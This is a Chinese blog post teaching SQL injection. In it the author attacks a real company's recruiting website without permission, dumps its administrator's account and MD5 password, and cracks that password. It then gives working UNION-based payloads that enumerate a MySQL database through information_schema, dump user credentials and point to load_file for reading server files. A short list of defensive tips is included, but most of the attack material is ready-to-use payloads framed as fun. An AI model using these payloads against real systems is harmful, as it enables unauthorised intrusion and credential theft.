最基本的sql注入漏洞方法
今天早上學院開了個會,說了些關於畢業實習與設計的安排之類的還有說明天有個企業來招聘,讓有興趣的人回去登入他們公司的網站看看。paperen我當然是沒有這個興趣的啦,但是宿舍的小華同學就有點興趣,回來就上了他們的網站。但是……?
paperen我也瞅了幾眼,網站不咋的啊,asp的,也不知道為啥突然想也去踩踩,看看有沒有存在sql注入漏洞,登上他們的網站,看了幾個頁面,去到公司新聞那,有一條新聞url是xwzx_content.asp?id=456(很正常的傳值,根據id值去查資料庫並顯示相應的資料,也很合理),但是……?
paperen我將參數改為xwzx_content.asp?id=456 and 1=1試了試,發現與id=456顯示是一樣的。(並不能證明是否存在漏洞)?
然後又試試這個
代碼如下 |
複製代碼 |
xwzx_content.asp?id=456 and '1'='1 |
結果是
提示錯誤由此可以判斷出存在漏洞,因為你可以在自己的資料庫隨便找個表來試試這個語句?
select * from table where id=1 and 1=1(某一條記錄的id號),其實加上and 1=1與不加是一樣的結果,因為1=1是true的,sql肯定可以執行過去,但如果你是1=2的話就不行了,因為很顯然1不等於2,為false所以查不到任何資料。?
然後繼續去構造語句xwzx_content.asp?id=456 or 1=1,結果是
得出這個結果也是很顯然的,因為or上一個1=1(ture)結果也是true的,無論你的id號為456這條資料是否存在都會查出所有資料記錄。?
從上面幾個操作就證實了sql注入漏洞確實在這個頁面存在,下面開始正式的注入爆出我們想得到的資訊,主要是看你的RP。?
我們需要使用union聯集查詢出其管理密碼與帳號。當然前提是你要去猜出管理員那個表的名字。?
paperen我第一個想到的就是管理員,試試吧。
1.xwzx_content.asp?id=456?union select?* from 管理員結果是
提示欄位數不匹配,那麼我們再去猜它的欄位數吧
1.xwzx_content.asp?id=456?union select?1,2,3,4,5,6 from 管理員結果是
看來是猜對了,這個表中共有10個欄位,其中4這個欄位會被顯示到頁面中。可能大家不太明白這裡到底是什麼回事,paperen我不妨放出一個自己在mysql中的一個截圖。
1.sql命令是SELECT * FROM `paper_blog` WHERE id =1 UNION SELECT 1 , 2, 3, 4, 5, 6, 7, 8, 9, 10 FROM member
?
看到第二行的1,2,3,4,5了吧,反正自己領會領會吧,關於union這個聯集查詢不知道大家有沒有用過,簡單地說就是將別的表的資料都查詢過來。?
再來猜他放管理員帳號那個欄位名,我就猜是name吧。
1.xwzx_content.asp?id=456?union select?1,2,3,name,5,6 from 管理員結果是
這就證明猜錯了,繼續猜叫管理員,嘻嘻,果然有了。
爆出管理員的帳號是管理員,再來爆他的密碼,就猜叫password吧。
1.xwzx_content.asp?id=456?union select?1,2,3,password,5,6 from 管理員結果是
密碼是32位的,應該是MD5加密的,ctrl+c一下到一些線上解MD5的網站一查,密碼竟然也是管理員……這安全意識也太差了吧。?
帳號有了密碼也有了,還差什嗎?很明顯是後台地址,但是paperen我還是找不到啊,蒙不對地址,看到這裡不知道大家是不是有些少失望,唉,paperen我也有點,但是算了,我還要發表博文呢,先不花時間去碰了。反正這個網站給我的印象就是不太好,公司估計也不咋的吧。?
其實要入侵一個網站真的不是很容易的,要防入侵也是很不容易的,但是從上面說的這些可以看出某些觀點去防止出現這種很低級的錯誤。?
1.對get傳參的參數進行過濾與判斷
2.不要參照某些開源的程式的資料庫表或表名去建立自己的資料庫
3.要使用比較複雜的密碼,至少不要管理員,管理員888之類的
4.放後台檔案的檔案夾名字最好改得特別點,不要讓人輕易猜到
5.對於asp網站的資料庫檔案最好改尾碼為asp的,防止被下載?
稍微進階一點的SQL注入
還記得在“你是這樣處理來自$_GET的資料嗎 ”裡面寫到的那個SQL,
代碼如下 |
複製代碼 |
1.$sql = 'select * from goods where id='.$id; |
不對傳入來的資料進行任何過濾甚至不用單引號抱起來會導致的問題在那篇文章中已經說的比較明確了,如果您能猜到資料庫其他表的話還能查到其他表的內容,而這次paperen想說一些使用這個漏洞更進階的一個技巧。
假如你已經證實了此處存在漏洞,(怎樣證明?簡單來說分別測試一下將參數改為id=1=1與id=1=2再看頁面就能知道是否存在漏洞,如果顯示資訊不一樣或出錯則證明存在漏洞),但是即使證實了有漏洞但猜不到其他表的表名怎辦。使用一個很邪惡的招數,先放出注入URL。
爆出目前資料庫名
1.URL:
代碼如下 |
複製代碼 |
http://localhost/mytest/sqlinject/?id=-1+UNION+select+1,2,3,database(),5,6,7,8,9+from+information_schema.columns2.SQL:SELECT * FROM goods WHERE id=-1 UNION SELECT 1,2,3,DATABASE(),5,6,7,8,9 FROM information_schema.columns |
然後將獲得資料庫test的hex值後再爆出該test資料庫中的表名(獲得test的hex值 select hex('test') 放到mysql中跑一下就可以看到結果了,74657374前面再加上0x,十六進位數)
1.URL:
代碼如下 |
複製代碼 |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(table_name)),5,6,7,8,9+FROM+information_schema.columns+AS+c+WHERE+c.table_schema=0x746573742.SQL:SELECT * FROM test.goods WHERE id = -1 UNION SELECT 1 , 2, 3, GROUP_CONCAT( DISTINCT table_name ) , 5, 6, 7, 8, 9 FROM information_schema.columns AS c WHERE c.table_schema = 0x74657374 |
然後在將表user的hex值放入去,查user表的欄位,現在是DISTINCT(column_name)了,最好加上and如果有不止一個資料庫有user表的話可能得出的結果會誤導你。
1.URL:
代碼如下 |
複製代碼 |
http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9+FROM+information_schema.columns+WHERE+table_name=0x75736572+AND+TABLE_SCHEMA=0x746573742.SQL:select * from goods where id=-1 UNION SELECT 1,2,3,GROUP_CONCAT(DISTINCT(column_name)),5,6,7,8,9 FROM information_schema.columns WHERE table_name=0x75736572 AND TABLE_SCHEMA=0x74657374 |
you see!已經一步步地獲得了我們想要的資訊了,是不是有點意思呢?所以paperen說這種東西搞上來會上癮的。
然後直接爆出他的user表的明碼。
代碼如下 |
複製代碼 |
URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user2.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user |
但是user表裡面可能不止一個使用者資料,那麼就加上limit吧
代碼如下 |
複製代碼 |
1.URL:http://localhost/mytest/sqlinject/?id=-1+UNION+SELECT+1,password,3,username,5,6,7,8,9+FROM+user+limit+1,12.SQL:select * from goods where id=-1 UNION SELECT 1,password,3,username,5,6,7,8,9 FROM user limit 1,1 |
然後將獲得的密碼拿去
破解獲得明碼,再知道後台路徑,使用使用者帳號與破解的密碼登陸到後台吧,但是paperen後面兩個步驟也是看你人品的,如果密碼被搞得比較複雜,你也很難破解,即使你破解了也得要找到後台地址。So……就到此為止了。就是娛樂一下。(PS:你還可以用load_file將伺服器一些檔案內容弄到,前提是你也要猜到檔案的路徑)